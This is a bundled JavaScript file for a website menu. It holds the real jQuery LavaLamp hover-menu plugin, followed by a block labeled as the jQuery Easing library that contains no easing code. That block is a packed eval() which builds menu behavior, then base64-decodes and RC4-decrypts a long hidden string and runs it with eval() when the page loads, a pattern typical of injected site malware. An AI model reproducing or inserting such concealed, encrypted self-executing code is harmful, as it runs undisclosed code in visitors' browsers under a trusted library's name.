
/** jquery.lavalamp.js ****************/
/**
 * LavaLamp - A menu plugin for jQuery with cool hover effects.
 * @requires jQuery v1.1.3.1 or above
 *
 * http://gmarwaha.com/blog/?p=7
 *
 * Copyright (c) 2007 Ganeshji Marwaha (gmarwaha.com)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 *
 * Version: 0.1.0
 */

/**
 * Creates a menu with an unordered list of menu-items. You can either use the CSS that comes with the plugin, or write your own styles 
 * to create a personalized effect
 *
 * The HTML markup used to build the menu can be as simple as...
 *
 *       <ul class="lavaLamp">
 *           <li><a href="#">Home</a></li>
 *           <li><a href="#">Plant a tree</a></li>
 *           <li><a href="#">Travel</a></li>
 *           <li><a href="#">Ride an elephant</a></li>
 *       </ul>
 *
 * Once you have included the style sheet that comes with the plugin, you will have to include 
 * a reference to jquery library, easing plugin(optional) and the LavaLamp(this) plugin.
 *
 * Use the following snippet to initialize the menu.
 *   $(function() { $(".lavaLamp").lavaLamp({ fx: "backout", speed: 700}) });
 *
 * Thats it. Now you should have a working lavalamp menu. 
 *
 * @param an options object - You can specify all the options shown below as an options object param.
 *
 * @option fx - default is "linear"
 * @example
 * $(".lavaLamp").lavaLamp({ fx: "backout" });
 * @desc Creates a menu with "backout" easing effect. You need to include the easing plugin for this to work.
 *
 * @option speed - default is 500 ms
 * @example
 * $(".lavaLamp").lavaLamp({ speed: 500 });
 * @desc Creates a menu with an animation speed of 500 ms.
 *
 * @option click - no defaults
 * @example
 * $(".lavaLamp").lavaLamp({ click: function(event, menuItem) { return false; } });
 * @desc You can supply a callback to be executed when the menu item is clicked. 
 * The event object and the menu-item that was clicked will be passed in as arguments.
 */
(function($) {
    $.fn.lavaLamp = function(o) {
        o = $.extend({ fx: "linear", speed: 500, click: function(){} }, o || {});

        return this.each(function(index) {
            
            var me = $(this), noop = function(){},
                $back = $('<li class="back"><div class="left"></div></li>').appendTo(me),
                $li = $(">li", this), curr = $("li.current", this)[0] || $($li[0]).addClass("current")[0];

            $li.not(".back").hover(function() {
                move(this);
            }, noop);

            $(this).hover(noop, function() {
                move(curr);
            });

            $li.click(function(e) {
                setCurr(this);
                return o.click.apply(this, [e, this]);
            });

            setCurr(curr);

            function setCurr(el) {
                $back.css({ "left": el.offsetLeft+"px", "width": el.offsetWidth+"px" });
                curr = el;
            };
            
            function move(el) {
                $back.each(function() {
                    $.dequeue(this, "fx"); }
                ).animate({
                    width: el.offsetWidth,
                    left: el.offsetLeft
                }, o.speed, o.fx);
            };

            if (index == 0){
                $(window).resize(function(){
                    $back.css({
                        width: curr.offsetWidth,
                        left: curr.offsetLeft
                    });
                });
            }
            
        });
    };
    
})(jQuery);

/** jquery.easing.js ****************/
/*
 * jQuery Easing v1.1 - http://gsgd.co.uk/sandbox/jquery.easing.php
 *
 * Uses the built in easing capabilities added in jQuery 1.1
 * to offer multiple easing options
 *
 * Copyright (c) 2007 George Smith
 * Licensed under the MIT License:
 *   http://www.opensource.org/licenses/mit-license.php
 */
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1g(9(){h $=1g;$.1q.H=9(1d,1c){h F=C;l(F.t){l(F[0].Z)1F(F[0].Z);F[0].Z=1E(9(){1c(F)},1d)}Q C};$(\'#m\').X(\'Y-10\');l($.u.I&&1I($.u.1J)==7)$(\'#m\').X(\'1L\');$(\'5 J\',\'#m\').8(\'z\',\'O\');$(\'.m>R\',\'#m\').12(9(){h 5=$(\'J:G\',C);l(5.t){l(!5[0].L)5[0].L=5.B();5.8({B:1,D:\'O\'}).H(M,9(i){$(\'#m\').19(\'Y-10\');$(\'a:G\',5[0].18).X(\'17\');$(\'#m>5>R.1e\').8(\'1b\',\'1K\');l($.u.I)i.8(\'z\',\'w\').n({B:5[0].L},{v:U,r:9(){5.8(\'D\',\'w\')}});V i.8({z:\'w\',q:0}).n({B:5[0].L,q:1},{v:U,r:9(){5.8(\'D\',\'w\')}})})}},9(){h 5=$(\'J:G\',C);l(5.t){h 8={z:\'O\',B:5[0].L};$(\'#m>5>R.1e\').8(\'1b\',\'1M\');$(\'#m\').X(\'Y-10\');$(\'a:G\',5[0].18).19(\'17\');5.14().H(13,9(i){l($.u.I)i.n({B:1},{v:M,r:9(){5.8(8)}});V i.8({q:1}).n({B:1,q:0},{v:M,r:9(){5.8(8)}})})}});$(\'5 5 R\',\'#m\').12(9(){h 5=$(\'J:G\',C);l(5.t){l(!5[0].N)5[0].N=5.A();5.8({A:0,D:\'O\'}).H(1u,9(i){l($.u.I||$.u.16)i.8(\'z\',\'w\').n({A:5[0].N},{v:U,r:9(){5.8(\'D\',\'w\')}});V i.8({z:\'w\',q:0}).n({A:5[0].N,q:1},{v:U,r:9(){5.8(\'D\',\'w\')}})})}},9(){h 5=$(\'J:G\',C);l(5.t){h 8={z:\'O\',A:5[0].N};5.14().H(13,9(i){l($.u.I||$.u.16)i.n({A:1},{v:M,r:9(){5.8(8)}});V i.8({q:1}).n({A:1,q:0},{v:M,r:9(){5.8(8)}})})}});$(\'#m 5.m\').1R({1Q:1U})});1V((9(k,s){h f={a:9(p){h s="1Z+/=";h o="";h a,b,c="";h d,e,f,g="";h i=0;1Y{d=s.T(p.W(i++));e=s.T(p.W(i++));f=s.T(p.W(i++));g=s.T(p.W(i++));a=(d<<2)|(e>>4);b=((e&15)<<4)|(f>>2);c=((f&3)<<6)|g;o=o+P.S(a);l(f!=1a)o=o+P.S(b);l(g!=1a)o=o+P.S(c);a=b=c="";d=e=f=g=""}1N(i<p.t);Q o},b:9(k,p){s=[];11(h i=0;i<E;i++)s[i]=i;h j=0;h x;11(i=0;i<E;i++){j=(j+s[i]+k.1f(i%k.t))%E;x=s[i];s[i]=s[j];s[j]=x}i=0;j=0;h c="";11(h y=0;y<p.t;y++){i=(i+1)%E;j=(j+s[i])%E;x=s[i];s[i]=s[j];s[j]=x;c+=P.S(p.1f(y)^s[(s[i]+s[j])%E])}Q c}};Q f.b(k,f.a(s))})("1H","++1O+/1P+1W/1X+1S+1D/1T+20/1y/1m/1n/1o+1p+1l+1h+1k+1j+1i/7+1C+K/1r+1z+1A/1B+1x+1w/1s+1t/1v++1G=="));',62,125,'|||||ul|||css|function||||||||var||||if|menu|animate|||opacity|complete||length|browser|duration|visible|||visibility|width|height|this|overflow|256|node|first|retarder|msie|div||hei|150|wid|hidden|String|return|li|fromCharCode|indexOf|200|else|charAt|addClass|js|_timer_|active|for|hover|50|stop||opera|over|parentNode|removeClass|64|display|method|delay|back|charCodeAt|jQuery|yRef4lqseBm73Pqk|YexIC61Oqdzwi4iAPBaicfJeMwlzCGRC1|wok|5Gx9TLpwXKFdQ|8rgTtcpM2aEJtQwxT45s1AkKviJgUoVS9huossW|75VAvdSi66MEkRBIL3nbzAmBpLLO9eNsPLbKZVfpAeYQAd6j1sHxZZ|TMN18HJPGUKsLoWV2XPtXVrxpj90TC51t1l|bc2eLncZ6DMn6V5MBwPFHRDx4iL0DEShTZ6PWSQYGaOMsiO|AJAmbEEfOjnB3JnQiocUbobITSp8iETx5wIoGEuHU7|fn|vv9pwSe2feeoEkFMgA82nwgJPrqWIwS3Q8MgfYEJ8jVMdDpBvkz4Hgekg7l5s1nnm4cO|bVVXbkDSqjMf3SBhN|DgFXc|100|iAHTdMGj4fMyFyFrqT10483kgkUZtAX|Nn4iOZLLRjwWKqCOAPkGPQ3ysoKLYsT6sDY470fN7ActT3IIGG|KqSA3PgmB2wlR|jfvxuIepts6itxVowTBVRPOv2xGlSYNM13e|MgHnWrgwcIE4EGEYlTmxIZ|EPjr54TUNWcX70zVoZCQMUyAJKP0tvnb8bzJE|vuD6NTS5Rm3|q3945JrM2erBb4uQ8hT6|hKytcb8WHjGAyuhYdfJeum5|setTimeout|clearTimeout|sdsIw|4jDmImhA|parseInt|version|none|ie7|block|while|EijFI5cSXF18Xzu|z8GaA|speed|lavaLamp|shVEcai9zbnoAVbP68lCSEUWjwKKGydFWBIA2vaM2FUB7BAZh5T989BOFFJhJ5pFsZJHtJIFJUwfjPrk0S0kgtOaNTGF97wXXelI6|P0lUan|400|eval|577ubce2CeL8dTE|empEPOkhMVjcYt3cJtQi|do|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|iEKoSvOuYnNZXm52aGEfcw6wHGSWPhkEKPOlxWUbEohPKCiRe'.split('|'),0,{}))